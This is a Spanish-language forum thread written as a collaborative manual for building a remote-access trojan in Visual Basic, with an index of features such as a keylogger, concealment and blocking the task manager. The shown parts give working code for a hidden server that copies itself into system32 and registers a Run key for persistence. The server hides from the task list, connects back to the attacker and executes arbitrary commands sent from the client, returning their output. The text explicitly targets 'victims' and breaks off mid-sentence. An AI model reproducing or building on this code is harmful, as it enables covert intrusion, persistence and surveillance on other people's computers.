hacia tiempo que he estado callado y ya era hora de servir ala comunidad :p, aqui pongo un bonito indice, de todos los contenidos que tiene este magnifico hilo
este es un completo manual en forma de hilo, para la creacion de un "troyano" o programa de administracion remota DESDE CERO
hace tiempo que dejo de ser un minicurso, ahora es mas un manual completo, o mas bien una guia. un excelente trabajo en equipo
y es por eso que quiero aclarar, que este hilo, este manual, esta guia, NO ES MIA, ES DE TODOS
esta obra se a realizado GRACIAS ala ayuda de todos, no voy a decir nombres, porque no querria que unos piensen que por nombrar antes a uno, me cae mejor que otro , todos sus nombres estan reflejados en este hilo, cada autor esta reflejado en cada aportacion!
A TODOS ELLOS GRACIAS, MIL GRACIAS, MUCHAS GRACIAS
Indice: Â
http://www.CENSURADO/modules.php?name=FAQ&op=VerFaq&id_cat=2Código:
pagina 1
curso de 3 partes
conexion inversa
consola virtual remota
transferencia de archivos
pagina 2
notificacion por irc
pagina 3
bouncer
ocultacion
notificacion por email
reinicio pc, apagar pc, ejecutar salvapantallas
pagina 4
keylogger
mejora de transferencia de archivos
api para no usar winsck.ocx
bajar archivos de internet ocultamente
pagina 5
desabilitar control-alt-del
comprobar si esiste una clave en el reg, para saber si ya a sido infectado
editor del server
pagina 6
continuacion del edit server
abrir pagina web, crear carpeta, borrar registro, borrar file
Establecer objetos VBS a variables
Copiar archivos ,Mover archivos,Borrar archivos,Crear una carpeta,Borrar una carpeta,Crea un archivo y escribe dentro de el ,
Ejecutar y/o abrir archivos o paginas web,Crea y/o modificar una entrada de registro de Windows,Borrar una entrada de registro de Windows ,Lee una entrada de registro de Windows
aceptar varias conexiones
añadirle skins al cliente
pagina 8
chat con la victima
matar procesos, que se ejecutan de nuevo al matarlos
Tutorial del No-ip con nuestro troyano en Visual Basic
pagina 9
password en el cliente
nombre de la ventana activa, para keylogger
pagina 10
re- mejora de la transferencia de archivos
captura de pantalla
pagina 11
listar archivos, carpetas, directorios contuinua en la 12( file manager )
pagina 12
re-captura de pantalla
notificacion por php
pagina 13
matar procesos de otra manera
re-file manager
pagina 14
re-file manager
pagina 16
colgar pc
pagina 17
para dificultar la desinfecion del troyano
pagina 19
apagar monitor
bloquear administrador de tareas
pagina 21
cambiar el papel tapiz
pagina 22
aclaraciones sobre la consola remota y sencilla forma de solcuionar errores
si alguien observa un error, o me olvido de algo, o algo no esta correcto y mando a una pagina donde no esta esa info, comunicarmelo por mensaje privado POR FAVOR!!!
--------------------------------------------------------------
Cita de: fulano_ en 14 Febrero 2005, 04:28
aver que tal me esplico y que tal os parece este minicurso de como hacer un troyano desde 0 en vb con conocimientos MINIMOS:
un troyano consta fundamentalmente de 2 partes; el cliente y el servidor, entre ambos se establece una conexion para pasar datos
de todo tipo, asi que lo primero que haremos es crear estos 2 programas y diseñar esa conexion, veamoslo:
CLIENTE
con el vb abierto y elijiendo un nuevo proyecto empezamos agregando en: PROYECTO-COMPONENTES y selecionamos microsoft winsock controls
ahora se abra agregado un icono nuevo de 2 pcs ala derecha, pues le picamos y lo incluimos en el formulario. una buena idea es renombrarlo a WS para
ahorrar tiempo al nombrarlo en el codigo.
para configurar la conexion pondremos este codigo; añadimos un boton lo podemos llamar "escuchar" y en el evento click:
Código:
Private Sub escuchar_Click()
On Error Resume Next                    'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
Ws.LocalPort = Text1.Text                'el puerto que empleara el winsock sera el que introduzcas en un textbox, AÑADELO
Ws.Close                               'ws llama al objeto winsock que hemos agregado el punto te deja elegir opciones, y la opcion close es para que cierre la conexiono el puerto abierto
Ws.Listen                              'deja ala escucha el puerto introducido en el textbox
If Ws.State = 2 Then Label1.Caption = "Escuchando" Â Â Â Â Â Â 'si el estado del winsock es (escuchando) entonces la propiedad caption de la etiketa sera "Escuchando" asi que ya estas añadiendo un label(etiketa), esto es util
para ver si de verdad esta escuchando o no, ya que si ese puerto ya estubiera abierto no te dejaria abrirlo para este programa, de ay tambien lo de ws.close antes...
End Sub
con este codigo ya tenemos un puerto escuchando ala espera, pero esto no es todo, ya que por muy abierto que este, si no le decimos que hacer si alguien intenta conectarse a el, no servira de nada, veamoslo:
añadimos este codigo al programa:
Código:
Private Sub ws_ConnectionReques
t(ByVal requestID As Long) Â Â Â Â 'cuando se intente conectar a este (servicio,puerto,socket,o etc..) recojera su ip y ejecutara el siguiente codigo:
On Error GoTo error                                         'si ay un error ves ala etiketa (error)
Ws.Close                                                  'necesario para aceptar la conexion
Ws.Accept requestID Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â 'acepta cualquier conexion entrante
Label3.Caption = Ws.RemoteHostIP Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â 'añades otra etiketa y esto hara que te ponga la ip remota del servidor
Shell "c:\ki.bat" Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â 'esto ejecuta un archivo, yo lo puse para que ejecutase un sonido y asi coscarme de cuando se me conecta la victima, osea el servidor
Timer1.Interval = 3000 Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â '3 segunditosss, sobra decir que tienes que añadirlo asi que ahora sere mas concreto por que ya presupongo que as aprendido algo de vb de la revista, o con solo averlo visto por encima y jugueteado un poco con el , entenderas todo lo que digo, y sino ya pregunhtareis
error:
End Sub
ahora ya se establece una conexion cuando el servidor intente conectar a el puerto elejido en el textbox!
esto es el codigo del evento timer y asi entendereis que pinta ese temporizador
Código:
Private Sub Timer1_Timer() 'al pasar 3 segundos de establecerse la conexion
On Error GoTo error
If Not Ws.State = 7 Then            'si el estado de la conexion no es (conectado) entonces que me ponga en una etekita "Desconectado"
Label1.Caption = "Desconectado"
Else
End If
If Ws.State = 7 Then
Label1.Caption = "Conectado"
Else
End If
If Label1.Caption = "Desconectado" Then   'si pone desconectado en el label, entonces ejecuta lo de la etiketa puente,"cerrar y volver a escuchar"
Label1.Caption = "Desconectado"
GoTo puente
Else
End If
GoTo error                        'puentea y se salta el cierre y vuelta a escuchar la conexion, para que seguir normalmente con la conexion establecida
puente:
Ws.Close
Ws.Listen
error:
End Sub
ahora que ya tenemos lo basico de el cliente, nos falta como pide conectar el servidor, veamoslo:
SERVIDOR
que decir que esto significa volver a abrir otra vez el vb y volver a iniciar un proyecto nuevo y un form estandar...esto es otro programa!
en el evento load del formulario:, que porcierto teneis que ir a las propiedades y ponerle la propiedad visible a FALSE, para que no de el cantazo:
Código:
Private Sub Form_Load()
dim ip as string, ipftp as string, port as integer,Dim ejec As String     'declaramos estas variables , si las declarais en el general mejor
Dim win
Dim sys
Dim residencia
On Error Resume Next
ip = "127.0.0.1" Â Â Â Â Â Â Â Â Â Â Â Â Â Â 'esta es nuestra ip local, asi que conectara a nuestra ip local, aqui se pondria nuestra ip publica, y si cambia pues os registrais en no-ip.com y si habeis leido la revista no tendreis problemas
ipftp = "o 127.0.0.1"
port = 6969
WS.RemoteHost = ip
WS.RemotePort = port
Timer1.Interval = 60000 Â Â 'se esteblace un intervalo de 3 segundos para ejecutar el evento timer1
ejec = App.path                   'le pasamos a la variable la ruta del exe que ejecute la victima
If Right(ejec, 1) <> "\" Then ejec = ejec & "\" Â Â 'si no tiene la "\" al final, se la añadiremos
ejec = ejec & App.EXEName & ".exe" Â Â Â Â Â Â Â Â 'añadimos ala ruta del exe, el nombre y la estension
Set obj = CreateObject("Scripting.FileSyste
mObject") 'declaramos un objeto tipo fileSystem object
Set win = obj.GetSpecialFolde
r(0) Â Â Â Â Â Â Â Â Â Â 'para obtener la carpeta de windows y system
Set sys = obj.GetSpecialFolde
r(1)
win = LCase(win) Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â 'las ponemos en minusculas
sys = LCase(sys)
FileCopy ejec, sys & "\nombre1" Â Â Â Â Â Â Â Â Â Â 'copia a windows\system32
Name sys & "\nombre1" As sys & "\nombre2.exe" Â Â Â 'renombra
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "nombre3", sys & "\nombre2.exe" Â 'esto modifica el registro para que se ejecute al iniciar el pc
App.TaskVisible = False      'para ocultarlo un poco del, (alt +sup +control)
End Sub
ahora el evento timer1 que es lo que llamara a conectar con el cliente y establecera el canal de datos, ya falta poco...
Código:
Private Sub Timer1_Timer() 'cuando pasan 60 segundos
On Error GoTo Error
If Not WS.State = 7 Then Call cmdok_Click                      'llama al evento click del boton cmdok si no ay conexion establecida
If WS.State = 7 Then Label3.Caption = "conectado" Else Label3.Caption = "desconectado" Â Â Â ' ya esplicado
Error:
End Sub
boton cmdok:
Código:
Private Sub cmdok_Click()
On Error GoTo Error
If Not WS.State = 7 Then GoTo puente     'si no ay conexion cierra, CONECTA ala ip puesta en la variable ipy po rel puerto puesto en la variable port
GoTo Error
puente:
WS.Close
WS.Connect
Error:
End Sub
ya esta hasta aqui yo creo que lo he esplicado medianamente legible, ahora ya sabeis crear un canal de datos y un cliente y un servidor, pero faltan unos pequemños detalles mas:
pasamos al cliente y creamos un boton y una caja de testo, en el evento click del boton ponemos: ws.senddata text2.text, y asi una vez conectado con el servidor, lo veras que pondra conectado donde hallas puesto
la etiketa aquella, te acuerdas? entonces ya puedes pasarle datos al servidor, escribes el dato en la caja de testo y le das al boton que acabas de poner para tal efecto. Cheesy
ahora vamos al servidor otra vez y en el evento LLEGADA DE DATOS del winsock ponemos:
Código:
Private Sub WS_DataArrival(ByVal bytesTotal As Long) Â Â Â Â Â Â Â Â Â Â Â Â 'en la llegada de datos
On Error GoTo Error
dim datos as string
ws.getdata datos      'metemos en la variable datos los datos que nos lleguen
if datos = "paint" then shell ("mspaint") Â Â Â Â Â Â Â Â Â Â ' si los datos eran = a "paint" entonces ejecuta el paint
end sub
con esto vemos que si en el cliente le enviamos la palabra paint poniendola en el textbox  y dandole al boton que la envia, vemos que en el servidor se le ejecutara el paint,
y con esto ya tienes un troyano muy sencillito, ahora a poco que investigues te lo puedes currar como yo, por hoy ya vale, yo uso ahora un sistema de envio de archivos
y un sistema para ver sus archivos muy rudimentario pero funcional, lo esplicare en breve, para cojerle archivos o meterle archivos uso el serv-u(esplicado en la revista)
y lo que hago es crearle un fichero de testo con los datos de la conexion ftp y del archivo cojer o meter... con imaginacion, haces lo que quieras, y mientras ahora mismo pregunto
en el foro de programacion, que error cometo en el codigo que he pensado para enviar archivos completos por winsock... voy a preguntarlo, y mañana esplico lo del serv-u y la consola de comandos
en el troyano.
saludos, espero que haya sido orientativo esto y util!! seguire esplicando en breve, Â o si alguien se anima a cojerme el hilo y aumentarlo y mejorarlo pues COJONUDO!
asi aprendo yo tambien algo mas!
xenon, alias fulano_
pd: para que sea mas legible el codigo copiarlo y pegarlo en un block de notas por ejemplo para que los comentarios de despues del signo ' Â aparezcan al lado del codigo todo seguido y no se vea en la siguiente linea como pasa
Bueno, se podria decir que esta es la segunda parte de este minicurso... Hoy veremos como programar una consola virtual y acoplarla al troyano, algo muy versatil y con la cual ya tendrias todo el poder suficiente para hacer lo que quieras en la victima.
Empiezo con este codigo y lo comentamos:
en el servidor ( archivo que es ejecutado en el pc victima ) :
Código:
Private Sub cmdfin_Click() Â 'añadimos un boton, yo lo he llamado cmdfin...y en su evento CLICK:
ruta = "C:\" Â 'le ponemos ala variable ruta, la direccion donde se guardara un archivo que necesitamos, contra mas escondida sea la ruta mejor!! c:\ es un mal ejemplo...pero asi empece yo
Open ruta & "fox.bat" For Output As #1 'abre un archivo llamado fox.bat en el canal 1...la opcion output sobreescribe el contenido completo del archivo, si pusieras append lo añadiria al final. esto es mucho royo pero asi se aprenden mas cosa, no?
Print #1, datos & ">" & ruta & "fox.txt" Â 'aqui coje primero la variable datos y su contenido lo mete en ese archivo .bat, luego el caracter > es para que junto ala "RUTA" y al nombre "FOX.TXT" nos saque el resultado del comando en ese archivo de testo "fox.txt", se entiende perfectamente pero lo esplicare lo mejor que pueda, esto es un archivo .bat osea un archivo que se puede abrir con un block de notas y en el que poder REPLACEar comandos de msdos y sera ejecutado como un .exe, sin compilar ni ostias. asi que la idea es poner el comando y la salida redireccionarla a un archivo de testo que cojeremos y lo leeremos en nuestro cliente para ver el resultado de nuestros comandos
Close #1 ' cierra el archivo
Shell ruta & "fox.bat", vbHide       'ejecuta el archivo que lleva el comando escrito dentro.
Open ruta & "fox.txt" For Input As #1 ' aqui abre el archivo de testo para poder lmeter su contenido en una variable STRING ya que almacenara una cadena de caracteres.
comando = Input(LOF(1), #1) Â Â Â Â Â 'mete el archivo de testo en esta variable, que es la salida del comando
Close #1 ' cierra
Call mostrar_Click         ' esto llama a un boton que esplico luego
End Sub
en el cliente con poner una caja de testo donde introducir los comandos y un boton de enviar ya estaria hecho.esto ya lo hicimos en el primer capitulo de este tutorial.
Código:
Código:
private sub boton_click
text.text = datos
winsock.senddata datos
end sub
ahora el boton del servidor que estaba puesto alfinal del primer codigo que he puesto:
Código:
Private Sub mostrar_Click()
On Error GoTo Error   'si ocurre un error salta ala etiketa error
Winsock.SendData comando      'simplemente envia la salida del comando intruducido al cliente!
Error:
End Sub
bien, ahora toca una parte peliaguda, un problema que he solventado chapuceramente, pero funciona, lo esplico, y cada vez lo ire esplicando menos concienzudamente por que dare por sentado que ya se tiene un cierto nivel y una cierta soltura:
Código:
Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'en la llegada de datos
On Error GoTo Error
WS.GetData datos        'los datos entrantes se ponen en variable datos, recordar declararla como STRING, dim datos as string en el general por ejemplo.
If datos = "a" Then bin1 = true
If bin1 = false And datos <> "a" Then Call cmdfin_Click
If bin1 = true And datos <> "a" Then Call bin_Click
Error:
End Sub
como interpreta el servidor los datos que le mandas de pendiendo de un comando especial "a":
es mas sencillo de lo que parece: en un caso normal alo primero de hacerlo el codigo de arriba estaba sin esto:
If datos = "a" Then bin1 = true
If bin1 = false And datos <> "a" Then Call cmdfin_Click
If bin1 = true And datos <> "a" Then Call bin_Click
y en su lugar simplemente llamaba al boton cmdfin_click, para ejecutar el comando en la victima y que nos devolviera la respuesta como he esplicado arriba.
que pasa? pues que ala hora de poner esto por ejemplo como comando:
echo msgbox "has sido hackeado">c:\hack.vbs
en verdad estabas poniendo esto otro!
echo msgbox "has sido hackeado">c:\hack.vbs>c:\fox.txt
con lo cual no me creaba el archivo hack.vbs y no funcionaba el comando como yo queria, por que a todo comando se le añade >c:\fox.txt para que ponga la salida del comando en un archivo de testo para que te envie el resultado de un "dir c:\" por ejemplo.
que hice? pues puse en estas lineas
If datos = "a" Then bin1 = true
If bin1 = false And datos <> "a" Then Call cmdfin_Click
If bin1 = true And datos <> "a" Then Call bin_Click
que si el comando que envia es solo una simple "a", una variable que uso a modo de interruptor "bin1" se pone a true que ejecute el boton bin_click , y mientras los datos no sean una "a" el comando especial que eleji ,bin1 tienes que declararla como BOOLEAN!!
y el boton bin_click esta asi:
Código:
Private Sub bin_Click()
ruta = "C:\"
Open ruta & "fox.bat" For Output As #1
Print #1, datos
Close #1
Shell ruta & "fox.bat", vbHide
bin1 = false  ' reestablece el interruptor virtual a apagado, false
End Sub
parecido al cmdfin_click pero sin que te ponga el ">c:\fox.txt" al final, asi ejecuta el comando LIMPIO y tal y como tu lo mandas ejecutar, con la unica condicion de que no podras ver el resultado de ese comando, no tellegara la respuesta, no sabras si se ejecuto o no, pero eso tampoco es mucho problema.
asi ahora podemos interpretar este codigo tan extraño:
Código:
If datos = "a" Then bin1 = true
If bin1 = false And datos <> "a" Then Call cmdfin_Click
If bin1 = true And datos <> "a" Then Call bin_Click
si datos = a entonces la variable bin1 es = Â true ' hemos mandado el comando a y ahora es como si hubieramos activado un interruptor y cambia la forma de ver al siguiente comando:
si el interruptor no esta activado y los datos no son una (a) entonces ejecuta el comando con la salida de regreso al cliente
si el interruptor esta activado y los datos son cualquiercosa menos una (a) entonces ejecuta el comando LIMPIO tal y como lo escribes,pero sin respuesta al cliente
al ejecutar el comando limpio el interruptor se vuelve a poner a bin1 = false osea desactivado, asi en cada comando que quieras poner limpio as de mandar una -a- antes!
lo esplico demasiado para torpes pero! ami me hubiera gustado que me esplicasen asi muchas cosas que puedo ver raras! sorry para los demas que les parece que estoy perdiendo el tiempo haciendo esto!
ya esta lista la funcion de consola, ( chapucera pero funcional )
aclaraciones!!!! en el cliente as de poner tambien una caja de testo para ver el resultado con la propiedad de MULTIINEA! que os pasara como ami! Â lo pones en multilinea en las propiedes de la derecha, selecionas el text y cambias esa propiedad a true
aparte de la caja de testo en el formulario as de poner este codigo para ver en esa caja la respuesta:
Código:
Private Sub Winsock1_DataArriva
l(ByVal bytesTotal As Long) 'llegan datos
On Error GoTo error
Winsock1.GetData datos 'datos en datos
Text2.Text = datos    '<---------------------esto de aqui es para verlo!!
error:
End Sub
a disfrutarlo con salud!
hoy mismo o mañana publico la tercera parte, como enviar y cojer archivos de la victima, esplicare 2 metodos el que usaba yo hasta ahora y el profesional  que he aprendido hace muy poco.
POSDATA DE EL ARTICULO DE LA CONSOLA!
lo que hicimos en la segunda parte del curso fue una consola virtual, lo llamo virtual por que quiero dejaros claro un defecto que tiene.
y es que no es interactiva, esto significa que si le mandas un comando y la respuesta del comando es por ejemplo: